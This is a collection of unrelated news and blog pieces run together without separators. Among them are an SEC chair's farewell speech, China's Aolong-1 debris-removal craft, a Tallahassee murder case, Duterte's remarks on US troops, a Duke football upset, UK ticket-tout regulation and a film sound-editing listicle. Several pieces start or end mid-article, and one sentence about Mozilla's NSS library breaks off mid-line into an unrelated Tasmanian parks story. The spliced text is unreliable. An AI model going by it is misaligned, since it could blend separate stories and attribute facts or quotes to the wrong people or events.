Food industry experts have also labelled as nonsense the notion that avoiding carbohydrates is a magic bullet that could head off many cognitive impairment conditions at the pass.
Other medical experts are reportedly worried his readers will interpret the book as a green light to load up on meat and dairy instead, a choice that has its own well-documented cardiovascular heart risks.Now I’m in charge things are going to change around here. On this planet. The first thing is: ALL sequels must have the subtitle, “Back In Action”. I don’t care if it’s your fifth game/film in a row with the same subtitle, that’s how it is, and you’ve no choice. So it is that Kalypso have named the return of the RTS series, Jagged Alliance: Back In Action. They have complied. All will. And they’ve finally stopped piddling around with teasers and put out a proper trailer for the game.
Apparently people who care about RTS games care that this third in the series will not be turn-based. NOT TURN-BASED?! OH NO! I’m so upset I’ve killed all my children! Is that right? I don’t know. You strategy people are your ways – look at the lot of you.
Don’t forget you can now look forward to GTA V: Back In Action, Thief 4: Back In Action, and M.I.A: Missing In Action: Back In Action.Securities and Exchange Commission Chair Mary Jo White testifies about Wall Street reform before a Senate Banking Committee hearing on Capitol Hill in 2014. (Jonathan Ernst/Reuters)
NEW YORK -- Mary Jo White, the outgoing head of the Securities and Exchange Commission, said Tuesday that she is concerned by President-elect Donald Trump's plans to roll back financial industry reform.
"There is a lot of discussion about how the new administration may weaken or even reverse many of the reforms that the commission and our fellow financial regulators have implemented since the financial crisis," White said in what is likely her last speech as head of the agency. "That is a concern that I very much share."
White is scheduled to step down when Trump takes office Friday.
Trump has nominated Wall Street lawyer Jay Clayton to replace White at the top of the SEC. The pick immediately drew criticism from Democrats on Capitol Hill and progressive groups, who noted his history of representing some of the biggest names on Wall Street, including Goldman Sachs, and helping them weather regulatory scrutiny. (Clayton's confirmation hearing has not been scheduled, but he is expected to be approved.)
Asked about Clayton after her speech, White said Clayton is "very smart, very thoughtful, very knowledgable of the markets and the securities laws and I think a terrific person.”
Clayton has said little about his plans for the agency, but industry analysts widely expect him to follow through with Trump's plans to dismantle parts of 2010’s financial reform legislation, known as the Dodd-Frank Act.
[Trump to tap Wall Street lawyer Jay Clayton to head SEC]
The SEC has played a key role in implementing Dodd-Frank rules, which require large banks to better prepared for financial turmoil and hold onto more capital. Putting Clayton in charge of the agency, critics have said, would give Wall Street too much influence over necessary industry reform.
The task of implementing the financial reform called for under Dodd-Frank helped reshape the SEC, White said before the Economic Club of New York. The agency is stronger and much better equipped to meet the challenges of the complex financial markets, she said.
While not naming Clayton or Trump, White also warned of the dangers of the SEC losing its independence. For example, she said, the House adopted legislation last week requiring regulators such as the SEC to more rigorously assess how much their rules cost the financial industry. The measure would "impose conflicting, burdensome, and needlessly detailed requirements... that would provide no benefit to investors," she said.
"The choices ahead for the agency... will not be easy," White said. "Continuing to build an effective post-crisis market regulator will mean imposing measures that sometimes draw sharp outcry from interest groups."
White acknowledged that under her leadership the SEC was criticized by both Republicans and Democrats. "We have been accused of both gutting regulation and suffocating the market with too much of it," she said. "A few have attacked us for letting the crooks off with a slap on the wrist, while others say we are too tough or have targeted others simply to pump up our numbers."
White's departure is just the beginning of a sweeping transformation of the way Wall Street is regulated during the Trump administration. Trump will be able to fill two openings on the five-member SEC commission. Also, Thomas Curry, the head of the Office of the Comptroller of the Currency, another important Wall Street regulator, has less than six months on his term and Timothy Massad, chairman of the Commodity Futures Trading Commission, has announced he will step down. Together, the openings give Trump an opportunity to remake the regulatory landscape.A Long March 7 rocket, China's new model carrier rocket, lifts off from the launch pad in Wenchang, Hainan province, China, June 25, 2016. China Daily Information Corp via Reuters A small spacecraft sent into orbit by the Long March 7 rocket launched from Hainan in southern China on Saturday is tasked with cleaning up space junk, according to the government, but some analysts claim it may serve a military purpose.
The Aolong-1, or Roaming Dragon, is equipped with a robotic arm to remove large debris such as old satellites.
Tang Yagang, a senior satellite scientist with the China Aerospace Science and Technology Corporation, said the Aolong-1 was the first in a series of craft that would be tasked with collecting man-made debris in space.
For instance, it could collect a defunct Chinese satellite and bring it back to earth, crashing it safely into the ocean, he said.
"China, as a responsible big country, has committed to the control and reduction of space debris. In order to fulfill the obligations and responsibilities, our country is [working endlessly towards] achieving a technological breakthrough in space debris removal technology," Tang says on the website of the China National Space Administration.
But the question is: did China develop the cutting-edge technology only to clean up space junk?
"It is unrealistic to remove all space debris with robots. There are hundreds of millions of pieces drifting out there," said a researcher with the National Astronomical Observatories in Beijing.
To the military, the robot had potential as an anti-satellite weapon, the researcher said.
The Roaming Dragon is small, weighing only a few hundred kilos, so the prototype could be produced and launched in large numbers.
During peacetime, the craft could patrol space and prevent defunct satellites from crashing into big cities such as Shanghai or New York.
During wartime, they could be used as deterrents or directly against enemy assets in space, said the researcher.
It was also a "clean" anti-satellite weapon, the researcher said. In 2007, China conducted an anti-satellite test which blew up a dead weather probe with a missile. The test prompted an international outcry because the explosion generated such a large volume of debris.
"This time no one will point a finger [at China]," the researcher said.
Another mainland space engineering scientist said the role of the craft to pick up space debris was a "bold experiment" with a high chance of failure.
"It looks simple, but some enormous challenges lie ahead, some that no other nation has solved," said the expert.
David.Shikomba on Wikipedia
The development of the technology was mainly supported by the military, and kept confidential, he said.
The first challenge in such missions was to get close to a "non-cooperative target", the scientist said.
But China had conducted numerous such rendezvous flights, he said. During the docking of the Shenzhou manned spacecraft to the Tiangong space laboratory, for instance, the two vehicles constantly exchanged information.
"It is unrealistic to remove all space debris with robots. There are hundreds of millions of pieces drifting out there..."
The Aolong-1, by contrast, would be trying to rendezvous with a piece of cold, unresponsive debris. It would need to search for and identify the target, then plan and adjust its own course of approach.
Another challenge involves reaching out to any debris with Aolong's robotic arm.
To get a firm grip, the arm must aim for a specific target area - something that in space is likely to be constantly changing.
Sensors and computers on Aolong will have to analyze the fast, irregular patterns of the tumbling target to guide its arm.
Such challenges would test China's technology to the limit, said the expert.
China is not the only country developing the technology. The European Space Agency is expected to approve a similar project called e.deorbit later this year.
The ESA was considering two different ways to capture the debris: one using a net and the other a robot arm. With a projected launch in 2023, the e.deorbit robot would "target a European derelict satellite in low orbit, capture it, then safely burn it up in a controlled atmospheric reentry," the ESA says on its website.
Long March 7 rocket, a new Chinese carrier rocket model scheduled to have its first launch in between June 25 to 29, is seen at launch pad in Wenchang, Hainan province, China June 22, 2016. China Daily Information Corp via Reuters
The ESA also claims the e.deorbit would be "the world's first active debris removal mission", though that is no longer true given the launch of Aolong-1.
The United States Defence Advanced Research Projects Agency (Darpa) plans to launch a larger, more sophisticated craft for the US Air Force in 2020. The Phoenix in-orbit servicing programme had been scheduled for launch last year, but was delayed by technical and cost concerns.
Unlike the Aolong and e.deorbit, the Phoenix would also be able to carry out jobs such as repairing, upgrading and refuelling aging satellites.
It would even be able to "turn foreign satellites into US spy satellites", according to the US air force.
Chinese researchers with the 502 Institute at the China Aerospace Science and Technology Corporation said last year that China would launch a multi-tasking space robot similar to the Phoenix, also by about 2020.
The China National Space Administration says the nation's blueprint for its space robots spans missions ranging from low earth orbit to Mars.It’s likely the National League West will run through the San Francisco Giants or Los Angeles Dodgers this season. While the San Diego Padres are trying to join the fray, it will be tough to top the division rivalry between the Dodgers and Giants. Los Angeles won the National League West division last year, but as the Wild Card San Francisco won the World Series against the Kansas City Royals. San Francisco has won three World Series in the last five seasons, so expectations are once again high for this proud franchise. Los Angeles, however, is ready to battle its way through the regular season and hopefully extend its playoff run. Therefore, these two teams boast high ticket prices on the secondary ticket market.
There will be 19 games played between San Francisco and Los Angeles during the 2015 season. With nine games scheduled at Dodger Stadium, the average ticket price for Giants vs. Dodgers tickets is $102.33 which is 35% higher than the Dodgers overall average home ticket price of $75.76. With 10 games scheduled at AT&T Stadium, the average Giants vs. Dodgers ticket price will be $324.97 which is 209% above the Giants overall average home ticket price of $105.14. Games between the Giants and Dodgers will be 217% more expensive in San Francisco this season.
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The highest-priced game between these two teams will occur at AT&T Park on October 1st. That game currently owns an average ticket price of $369.07 while the get-in price is $27. The highest-priced game to be held at Dodger Stadium comes on September 2nd. That game currently owns an average ticket price of $192.36 while the get-in price is $40.
The rivalry between the Giants and Dodgers dates back to when both teams were located in New York. Both fan bases are extremely loyal and this rivalry is very intense. Los Angeles won 94 games last season, but ran into a hot St. Louis Cardinals club at the wrong time. San Francisco has proven time and time again that it can make a deep run in the playoffs. Both fan bases are hoping that their teams can turn in winning campaigns during the 2015 season as both teams will be looking to take the top spot in the National League West.By: Julie Montanaro
September 21, 2016
TALLAHASSEE, Fla. (WCTV) -- A grand jury has indicted 55-year-old Steve Lincoln of first degree murder Wednesday in the shooting death of his roommate Vicki Hoffman.
Lincoln is accused of killing Hoffman during an argument at their Plantations at Pine Lake Apartment last month.
His arraignment is set for October 13th.
By: Julie Montanaro
September 19, 2016
TALLAHASSEE, Fla. (WCTV) -- A murder suspect has been brought back from Michigan to face charges in the shooting death of a woman at a north Tallahassee apartment complex.
Court records show 55-year-old Steve Lincoln was booked into the Leon County Jail Friday. A judge ordered that he be held without bond until trial.
Lincoln is accused of killing 33-year-old Vicki Hoffman at her Plantations at Pine Lake apartment on August 28th.
He was arrested in Michigan two days later.
Arrest papers say Lincoln shot Hoffman during an argument.
By: WCTV Eyewitness News
August 30, 2016
TALLAHASSEE, Fla. (WCTV) -- Tallahassee police say a suspect in a fatal shooting at a north Tallahassee apartment complex has been arrested.
The Tallahassee Police Department says 55-year-old Steve Lincoln was arrested in Jackson County, Michigan and is currently in custody.
Lincoln faces second degree murder charges in the shooting death of 33-year-old Vicki Hoffman.
According to police documents, Tallahassee Police Department officers responded to the Plantations at Pine Lake apartments on Halstead Boulevard in response to a shooting on August 28.
Once at the scene, police found the victim, Vicki Hoffman, suffering from multiple gunshot wounds. According to arrest papers, when officers asked the victim who shot her, she stated "Steven." Hoffman later succumbed to her injuries at the hospital.
Arrest papers also state that the victim's child overheard the shooting and rushed to a neighbor's apartment to call 911.
According to the arrest warrant, the child stated that a man, who he identified as "Steve", and his mother got into a verbal argument and he could hear them fighting while he was in his room. He said he heard his mother yell "No!" and then heard two gunshots. He stated his mother then crawled into the room bleeding and asked him to call police. He stated that he rushed to a neighbor's house to call 911 and said he saw "Steve" leaving the apartment in a silver Buick.
The child also stated that he had known "Steve" for three years and provided a detailed description of him.
Police say the suspect, Steve Lincoln, lives at the apartment and works for FedEx.
The arrest warrant also states that the bullets used in the shooting appeared to be a consistent caliber as the missing handgun from a case in the suspect's bedroom.
Lincoln was apprehended in Michigan by Michigan State Police and the United States Marshal Service on Tuesday.
To view the redacted arrest warrant, click here.
By: WCTV Eyewitness News
August 30, 2016
TALLAHASSEE, Fla. (WCTV) -- Tallahassee police say a warrant has been issued for a suspect in connection with a fatal shooting at a north Tallahassee apartment complex Sunday evening.
According to TPD, a warrant has been issued for Steve G. Lincoln, 55, in connection with the shooting death of Vicki Hoffman at Plantations at Pine Lake apartments in north Tallahassee.
Hoffman died Monday morning as a result of her injuries.
Police say they're still searching for Lincoln and are asking anyone with information regarding him or his whereabouts to call the case's dedicated hotline at (850) 891-4604 or Crimestoppers at (850) 574-TIPS.
TPD did not provide a photo of Lincoln and no further description other than he is a white male.
No further details are available at this time.
WCTV will update this story as more information becomes available.
By: WCTV Eyewitness News
August 29, 2016
TALLAHASSEE, Fla. (WCTV) -- Tallahassee Police are continuing to investigate a deadly shooting at the Plantations at Pine Lake apartment complex.
The shooting occurred just before 10 p.m. Sunday night.
Police say the victim, 33-year-old Vicki Hoffman, was shot multiple times. She was taken to the hospital but later died from her injuries.
TPD says they are investigating the case as a homicide but no arrests have been made at this time.
Monday evening, Plantations at Pine Lake sent out the following email to residents:
Dear Residents of Plantations at Pine Lake,
We are notifying you of a shooting incident that happened on our property last night around 9pm. There was a domestic dispute between two roommates at Building 7. The local authorities are aware and are currently investigating the situation. This is an ongoing investigation and we have no further information at this time.
As you would anywhere, we urge you to take precautions for your protection. While nothing can guarantee that you do not become the victim of crime, there are measures that may reduce your risk of becoming a victim.
* When entering the community, if you notice any suspicious person(s) or activity, drive to the nearest phone and call the police. As soon as possible, thereafter, notify the management office.
* If you should see any lighting on the premises not functioning properly, report it to the management office.
* While at home in your apartment, keep all windows and doors locked. If you feel that your locks are in need of repair or additional locks are needed, please notify the management office immediately.
* Never open your apartment door to strangers and always ask for identification before allowing anyone to enter your apartment.
* If at any time you feel threatened, notify the police by calling 911 immediately.
* It is recommended that while at home at night that you keep your drapes closed.
If you should become a victim of a crime, report it immediately to the police department and then notify the management office.
Remember we care about your safety, but crime can occur any place and at any time. We do not want you to become a victim, so please practice reasonable personal security measures at all times.
Thank you,
Plantations at Pine Lake
TPD has set up a dedicated hotline and is asking anyone with information about this case to call them at (850) 891-4604 or CrimeStoppers at (850) 574-TIPS.
By: WCTV Eyewitness News
August 29, 2016 11 a.m.
TALLAHASSEE, Fla. (WCTV) -- A woman who was shot at a north Tallahassee apartment complex has died, according to the Tallahassee Police Department.
TPD says Vicki Hoffman, 33, was shot at the Plantations at Pine Lake apartments on Halstead Boulevard shortly before 10 p.m. Sunday.
Hoffman was said to have been suffering life threatening injuries following the shooting. She was transported to a local hospital, but the case was updated as a homicide around 11 a.m. Monday, according to a press release sent by TPD spokesman David Northway.
Officers told residents of the apartment complex that a male, believed to be in his mid-50's, may be a suspect and may have fled the scene. The two may have been living together, police told residents.
Northway says that crime and forensics units are continuing to investigate the scene and interview witnesses.
TPD says it has set up a dedicated hotline and is asking anyone with information about this case to call them at (850) 891-4604 or CrimeStoppers at (850) 574-TIPS.
By: WCTV Eyewitness News
August 29, 2016 9 a.m.
TALLAHASSEE, Fla. (WCTV) -- Tallahassee Police say that a woman suffered life threatening injuries in a shooting at a north Tallahassee apartment complex Sunday evening.
Officers with the Tallahassee Police Department responded to a reported shooting at Plantations at Pine Lake apartments on Halstead Boulevard shortly before 10 p.m.
Police say a woman was found at building seven suffering from multiple gunshot wounds. She was taken to a local hospital for treatment.
Officers told residents that a male, in his mid-50's, may be a suspect and may have fled the scene.
Police says that crime and forensics units are continuing to investigate the scene and interview witnesses.
TPD is asking anyone with information about this case to call them at (850) 891-4200 or CrimeStoppers at (850) 574-TIPS.
By: WCTV Eyewitness News
August 28, 2016
TALLAHASSEE, Fla. (WCTV) -- Tallahassee police are investigating a shooting at a local apartment complex.
Police swarmed the Plantations at Pine Lake apartment complex shortly after 9 p.m. Sunday after receiving reports of gunshots.
Residents in the complex were told by officers that a shooting happened near building seven.
Police told WCTV that one resident a female was taken to a hospital and a male in his mid-50s may have fled the scene.
The status of the victim is unknown at this time. Police ask anyone with any information on the incident to contact TPD.
No further details are available at this time.NEW DELHI: The CBI action against a cooperative bank, controlled by BJP’s ‘Munde family’ in Maharashtra, has sent a strong message about PM Narendra Modi’s insistence that no violator would be spared in the government’s efforts to cleanse the economy post demonetisation, party members say.Sources said the PM and BJP chief Amit Shah have been personally monitoring compliance of their instructions to BJP lawmakers to maintain transparency about their transactions after November 8. Sources said the PMO cell, set up for calls against illicit monetary transactions and currency conversions, has helped agencies arrest a large number of violators since Rs 500 and Rs 1,000 notes were scrapped.The CBI registered a case on Friday against two officials of a bank controlled by BJP MP Pritam Munde and some others, following recovery of Rs10 crore in demonetised notes last week. The agency carried out searches at 11 places at Beed, Aurangabad, Pune and Mumbai. However, nobody has been arrested so far.On December 15, police had recovered Rs 10.10 crore, including Rs10 lakh in new Rs 2,000 notes, from a car in Maharashtra. It turned out that Rs 10 crore of this was part of the Rs 25 crore in demonetised notes that the officials of Vaidyanath Urban Co-op Bank Ltd were transporting. Pritam Munde is director of the bank.Action against the Munde family followed raids by the I-T department last week at eight premises of BJP member and former chairman of Madhya Pradesh Rajya Sahakari Awas Sangh, Sushil Vaswani, unearthing unaccounted cash in crores — in both old and new currency. Income-tax officials had found discrepancies in transactions through Mahanagar Nagrik Sehkari Bank at Bairagarh, where Vaswani is a director and founder-member.A senior party leader said action against the two ruling party lawmakers testifies that Modi and Shah mean business and that days of immunity for ruling party leaders are over.“There should not be any exceptions while enforcing law of the land. Unlike Congress, our party believes in setting example for others as we can’t expect from people what we can’t do,” he said.Philippine President Rodrigo Duterte has announced that he wants US troops out of his country in the next two years and is willing to scrap defence pacts with longtime ally Washington if necessary.
"I want, maybe in the next two years, my country free of the presence of foreign military troops," Duterte told an economic forum in Tokyo on Wednesday, in a clear reference to US forces, ahead of a summit with Japanese Prime Minister Shinzo Abe.
Duterte's remarks on Wednesday during a high-profile visit to Japan follow a series of anti-American tirades by the firebrand leader.
OPINION: Rodrigo Duterte's pivot to China
"I want them out and if I have to revise or abrogate agreements, executive agreements, I will," he added.
On Tuesday, before leaving Manila and after arriving in Tokyo, Duterte also said that he wants to cut off a 2014 defence pact with the US, while calling Americans "foolish" and "a bully".
The Philippines has a decades-old defence treaty with the United States, and a separate 2014 executive agreement, allowing US troops to use its bases by visiting American forces and expanding annual military exercises.
The US currently maintains a small presence of special forces on the southern island of Mindanao to aid counterterrorism operations.
But Duterte has already said he wants US troops out of Mindanao, because their presence stokes tensions on the island where armed groups have waged a decades-long separatist movement.
The 71-year-old has also slammed Washington for questioning his violent crime crackdown, which has claimed thousands of lives and attracted widespread international criticism.
'Convergence of national interest'
Duterte's first visit to Japan since he took office in June follows his trip to China last week, during which he announced a "separation from the United States".
Asked to clarify the president's remarks, Philippine Foreign Secretary Perfecto Yasay said Duterte did not mean US troops would be ousted, stressing that "our national interests still continue to converge".
Later on Wednesday, during Duterte's meeting with Prime Minister Abe, the two leaders stressed their countries' common values as democracies that respect the rule of law.
"The Philippines will continue to work closely with Japan on issues of common concern in the region... including the South China Sea," Duterte said after their summit.
Japan announced loans totalling $204m to help improve the Philippines' maritime safety as well promote peace and agriculture on Mindanao.
Although Japan depends on the US for security, Tokyo has so far not responded to Duterte's diatribes, while Washington has taken a calm approach.
Abe had worked to improve bilateral relations with Duterte's predecessor, Benigno Aquino, providing patrol boats to support Manila in its territorial row with Beijing over rival claims to the South China Sea.DURHAM, N.C. -- The path to an ACC championship once again leads through Duke -- and not just in basketball, either.
These Blue Devils proved to No. 23 Miami -- and maybe everyone else -- that they're no longer pushovers.
Brandon Connette rushed for a career-high four touchdowns and threw for a fifth, and Duke upset the Hurricanes 48-30 on Saturday to take control of the league's messy Coastal Division.
"This team is not just a fluke," center Dave Harding said.
Connette, the Blue Devils' change-of-pace quarterback, had touchdown runs of 1, 2, 3 and 4 yards, and threw a 22-yard TD to Shaq Powell.
Duke (8-2, 4-2) -- for years, one of the nation's worst programs in a power conference -- claimed its sixth straight win, and it ranks as one of the most significant in school history.
"I remember when I first got here, the team hadn't won a game in, like, three years," running back Josh Snead said. Coach David Cutcliffe told him: "`Just believe. Believe in the process.' We got a lot of guys that believe in this process, and we're here today."
Snead rushed for a career-high 138 yards and Powell added a backbreaking 33-yard touchdown run that put the Blue Devils in complete command.
Dallas Crawford rushed for 115 yards and Stephen Morris threw for 379 and two touchdowns but the Hurricanes (7-3, 3-3) lost their third straight since climbing to No. 7. They've allowed at least 41 points in each loss.
"There's enough blame to go around in this game," coach Al Golden said.
In a wild one that featured 1,108 total yards and three lead changes, Duke -- the only two-loss team in the Coastal -- kept hold of the inside track to a berth opposite No. 2 Florida State in the ACC championship game in three weeks in Charlotte. The Seminoles have already locked up the Atlantic Division title.
Ross Martin gave Duke the lead for good late in the third quarter when he banked in a 48-yard field goal off the upright late to make it 31-30.
Two possessions later -- and two plays after Snead burst 56 yards into the Miami red zone -- Connette powered in from 4 yards out to put the Blue Devils up 38-30 with 11:37 left.
Powell then effectively iced the win on Duke's next possession when his 33-yard touchdown run on fourth-and-1 gave the Blue Devils a 45-30 lead with 6:50 left.
After Miami turned the ball over on downs, Martin added a 32-yard field goal with 1:04 left.
Morris finished 30 of 49 with touchdowns of 50 and 5 yards to Herb Waters. Stacy Coley returned a punt 79 yards for a touchdown and Matt Goudis added three field goals.
But the Hurricanes couldn't stop Duke's ground game: The Blue Devils rolled up 358 yards rushing -- by far, the most by a Cutcliffe-coached team at either Duke or Mississippi -- against a Miami run defense that gives up an average of 152.
"Coach said we were going to call it and haul it," Snead said, "and that's what we did."
Connette, who often spells starter Anthony Boone in short-yardage situations, became the first Duke player to rush for four touchdowns since Justin Boyle did it against Vanderbilt in 2006.
"People look at this game and say, `Well, Duke didn't throw the ball against Miami, but they ran it," Connette said. "No. We ran it so well, we didn't need to throw it."
Boone -- who improved to 8-0 as a starter -- was 11 of 15 for 104 yards for Duke, which continued its remarkable turnaround from perennial punchline to serious Coastal contender.
The Blue Devils went winless four times from 1996-2007 with two more one-win seasons in that span.
"It doesn't really matter to us who believes in us," Connette said. "We believe in what we're doing and we believe in the process and everything that's going on. As long as we believe in what we're doing, we're going to be a good football team."
They've already locked up their first winning season since 1994 and now they've beaten two Top 25 teams in the same year for the first time since 1971. Duke knocked off then-No. 16 Virginia Tech on Oct. 26.
The Blue Devils allowed the Hurricanes to score 10 quick points in a 54-second span of the first quarter, then fell behind 17-7 on Morris' short TD to Waters late in the first quarter.
But they outscored Miami 41-13 after Deondre Singleton's momentum-changing interception off a deflection early in the second.
Connette accounted for touchdowns on three of the four possessions after that.
"We started well. We just aren't doing a good enough job of answering on defense," Golden said. "When you get into this kind of game, you really need to be perfect on offense. We weren't. They were."So what is NSS? It stands for Network Security Services which is a joint effort of Mozilla, Google and RedHat. They're nothing you'd normally interact |
are prosecuted if they do the wrong thing," he said.
Opposition Leader Bryan Green said government indifference and cuts to Parks funding meant little could be done to prevent the illegal behaviour.
"The Government is either not listening or is so hell bent on slashing the public service that they are not in a position to actually do anything about it," he said.
In a statement, the Department of Parks and Wildlife said it was continuing to investigate earlier incidents and charges could be laid.
"There are currently 11 persons of interest identified in relation to possible offences which could result in either court action or infringement notices," the statement read.
"The appropriate course of action will be taken once investigations are finalised."
Topics: environment, government-and-politics, indigenous-aboriginal-and-torres-strait-islander, tas, australia
First postedImage copyright AFP/Getty Images Image caption One Direction's managers are among the campaigners calling for action to combat ticket touts
Senior figures from the world of sport and entertainment have issued a call for new controls on websites selling event tickets.
They want resale websites to be required to publish the names of ticket sellers and the tickets' face value.
The call comes in a letter to the Independent on Sunday signed by heads of sporting and cultural bodies and entertainers' management companies.
MPs will debate the rules on Monday; ministers prefer a voluntary approach.
The Department of Culture, Media and Sport has previously said a change in the law would be unnecessary.
Media playback is unsupported on your device Media caption Ticketing specialist Reg Walker says the ''extremely sophisticated'' software used by touts enables them to harvest tickets in bulk
Secondary ticketing sites act as marketplaces that allow sellers to charge what they like for concerts, plays and sports events, and often earn a commission from selling on the tickets.
When tickets for a popular event go on sale, they may be snapped up in bulk either manually or using automated software in order to sell them on at a profit.
'Put fans first'
The letter warns that the way the secondary ticketing market currently operates can seriously undermine efforts to ensure fair prices for event-goers.
"It's high time the government stopped sticking up for secondary platforms, and decided to put fans first," the letter continues.
Image copyright Getty Images Image caption Some fans are concerned about access to fairly priced tickets for the 2015 Rugby World Cup
Individuals and organisations behind the letter include the England & Wales Cricket Board, Lawn Tennis Association and Rugby Football Union; the UK Theatre organisation; and managers of the bands Iron Maiden, Arctic Monkeys, Radiohead and One Direction.
They want ministers to give their backing to a set of measures requiring secondary ticketing platforms to publish:
the name of the seller and whether they are affiliated to a larger organisation
the face value of the ticket
the seat number of the ticket
whether the resale contravenes terms and conditions agreed to by the original buyer.
The proposals have been suggested as a change to the Consumer Rights Bill, which is currently going through Parliament.
How do ticket resale websites work?
Ticketing specialist Reg Walker explains: "This is organised and on an industrial scale. I think everyone at one time or another has tried to purchase tickets online, [and] simply not been able to get through because they are blocked out from the system by touts harvesting tickets in bulk using extremely sophisticated software.
"The software hits the primary ticket agent's system with a high-speed connection with multiple identities - different names, different credit cards, different addresses, different email address. It just simply pounds the system far faster than you or I can actually fill out our details.
"Unfortunately, what happens is as soon as tickets are harvested, they are flipped straight over onto a small number of so-called ticket marketplaces. The public are forced then to buy at inflated prices. We've seen £75 tickets go for upwards of £1,200. So some of the mark-ups on these tickets are enormous."
Rod Smallwood, Iron Maiden's manager, added: "At the end of the day we care about the fans, we care about the future of this business and we try not to overload them."
A spokesman for Viagogo, a ticket sales website, said: "We are in favour of making information clearer on our website and have made a number of commitments in our recent discussions with the government.
"However, publishing the original seller's identity is unnecessary because all tickets come with the Viagogo guarantee, while publishing specific seat numbers allows rights owners to cancel tickets which are being legitimately resold. Anyone can see that is not in the consumer's best interests."
'Market abuse'
Arguing on behalf of the proposed regulations in the House of Lords last November, the Conservative peer and former Olympic rower Lord Moynihan said the government had "an opportunity for action on behalf of consumers, the many people who daily find themselves to be the victims of market abuse".
But the government's culture spokesman, Viscount Younger of Leckie, responded: "I believe that a voluntary approach with improved guidance and with better point-of-sale electronic means to control ticketing is the way forward."
Peers defeated the government and voted in favour of adding the measures to the Consumer Rights Bill.
On Monday, MPs will need to decide whether to overturn that decision.6 Ways Directors Screw Sound Editors
You know what marks a film out as amateur more than anything else? Shoddy, shoddy location sound.
I fully understand and have been guilty of this. For a director sound is a difficult thing to get excited about. Every year the industry announces bigger and better cameras promising fantastic, breathtaking HD visuals.
Whilst advances in sound mean that it’s… slightly clearer? Maybe… if you really listen…
However from the moment I became an editor I have been forced to amend my ways. Now whenever I meet a director as they are about to embark on a shoot I drop to my knees and beg them to pour their resources into the sound. Usually to no avail.
Directors, these are the things that make me hate you.
1. Unclean Dialogue
My heart always sinks when I’m sat with a director, looking through rushes in the edit suite and I see something along the lines of the following:
Characters talking in front of traffic, running water, music, crowds and the list goes on.
You can just edit that stuff out right?
Umm. No.
But aren’t there filters? Ah yes. Filters. Sure, in some cases you may be able to clean it up a little but it still won’t sound good. Just a different ever so slightly lesser kind of terrible.
And don’t ever say, “We’ll just ADR it”. ADR, unless you have access to the right facilities or really know what you’re doing, should always be an absolute last resort. It’s not just about having the actor spout their lines in time with the picture. You need to get the right sound perspective, you need the right microphone and it needs to match the other elements that you’re not adr-ing. And who are you kidding? You’ll probably be too broke for that stuff anyway come postproduction.
2. Overlapping Sound Effects
Footsteps (high heels in particular) and any objects that your characters may be messing with throughout a scene cause endless headaches in the edit.
You might think that footsteps are ok. You’re going to need the footsteps there eventually anyway, right? So what’s the harm in leaving them in? The harm is, it reduces options. With everything you leave in, it reduces what you are able to do with the mix in post. Artfully applied sponges can be a quick fix here, or laying down a carpet depending where and what you’re shooting. If possible have your actors switch to a different, softer set of shoes for the close ups. If you’re inside it’s as simple as just having your actors remove their shoes.
This same rule applies to all other actions in a scene. If you’re character is doing something out of frame that makes noise, such as making tea, fiddling with a lock or typing on a computer then have them mime it. If I can’t see it, I don’t want to hear it.
On your typical Hollywood movie (and say what you will about them, they always sound awesome) all these sound effects will be added in post. Why? Because maybe you don’t want the door to make that particular kind of creak. Maybe you want the villain’s footsteps to have a more ominous quality. Every sound has a certain character or mood to it. Clever use of sound effects can open up a whole new dimension of creative possibilities and it’s something that new filmmakers often overlook.
3. No Atmos / Wild Tracks
The more your location sound sucks, the more I need this. And unfortunately the more your location sound sucks, the less likely it is that you recorded one.
Usually this results in me foraging around for the tiny bits of ambience I can lift from in between dialogue. Fun stuff.
What’s an atmos track you ask? Some people call it room tone. It’s a recording of the ambient sound (the Atmosphere) of the location. In editing it is used to patch up gaps in the sound or to hide any undesirable noise.
4. No Forward Planning
Sound is such an after thought for so many filmmakers. Get a sound guy on board early on. Show them your locations. Figure out what the problems might be and start coming up with solutions. They need to be kept in the loop as they will need to know what gear they’re going to need in order to deal with the challenges of a particular location. They’ll be able to flag up any potential problems and you may be able to alter your plan to get better results.
And even if you’re not working with a professional, make sure you have someone whose sole concern is the sound from the get go. Don’t just thrust a boom pole toward whoever isn’t doing anything on the day.
5. Loud Locations
People tend to choose locations based entirely on looks. Which is fine for the most part. However, you really need to spend a little time in any location you plan to spend a decent amount of time shooting in. Just go there for maybe 10-20 minutes and listen. Planes, wind, traffic, nearby fire station, next door neighbour’s rowdy dog. You need to know what you’re going to be dealing with.
Planes and wind noise are a particular problem as they can be there in one shot and gone the next.
6. Not Respecting the Sound Guy
The amount of times I see ads asking for experienced sound guys with their own kit to show up unpaid on a shoot… oh and by the way, we’re shooting tomorrow…
You have to ask yourself exactly what they get from it. Unlike your DoP or your cast they aren’t going to be getting showreel material from it. Whilst your DoP is presenting finished pictures and your cast their whole performance, the sound recordists work is the first stage of a long process. It’s more like getting a clean green screen shot for effects in post. It’ll be stunning eventually, but right now we just need it as clear and plain as possible.
Too much of the sound editors job in the low budget world is damage limitation rather than making your film sound the very best it can. Make their job easier and they can put their time to far better use.
Here at Raindance we have the unique perspective that comes from being one of the UK’s foremost film training providers and Europe’s largest independent film festival. We see filmmakers when they’re just starting out and we see their debuts up on the screen. And you know what strikes me about the shorts and features that make it? They all sound pretty damn good. Put simply:
SOUND IS VERY IMPORTANT
It cannot be stressed enough…. that…
You’re not listening to me are you? You’re looking at that Red camera…SEPTEMBER 17, 2015 — Emmy award-winning journalist and NBC News National Correspondent Kate Snow has been named anchor of Sunday editions of “NBC Nightly News.” She begins Sunday, October 4, alongside her new role as an afternoon weekday anchor for MSNBC.
“Kate is a compassionate storyteller who approaches every assignment with equal parts determination and heart,” said Deborah Turness, President of NBC News. “Her broad range as a journalist, skill as an anchor, and familiarity with our audience is sure to lead ‘Nightly’ to continued success on Sundays.”
Snow has covered politics throughout her career, including five presidential elections, the White House, and Congress. She has built a reputation for stories that create change and spark national conversations, including a recent series on transgender children and an Emmy-nominated series on America’s heroin epidemic. She has covered some of the biggest breaking news events in recent years, from the mass shooting in Newtown to conflict in the Middle East to the Ebola outbreak and U.S. response.
Snow’s reporting appears across all platforms of NBC News and MSNBC, and she frequently serves as a fill-in anchor for “Nightly News” and “TODAY.” Prior to joining NBC News in 2010, Snow was the anchor of the weekend edition of ABC’s “Good Morning America” for six years. Previously, she was a White House Correspondent for ABC News and a Congressional Correspondent for CNN.
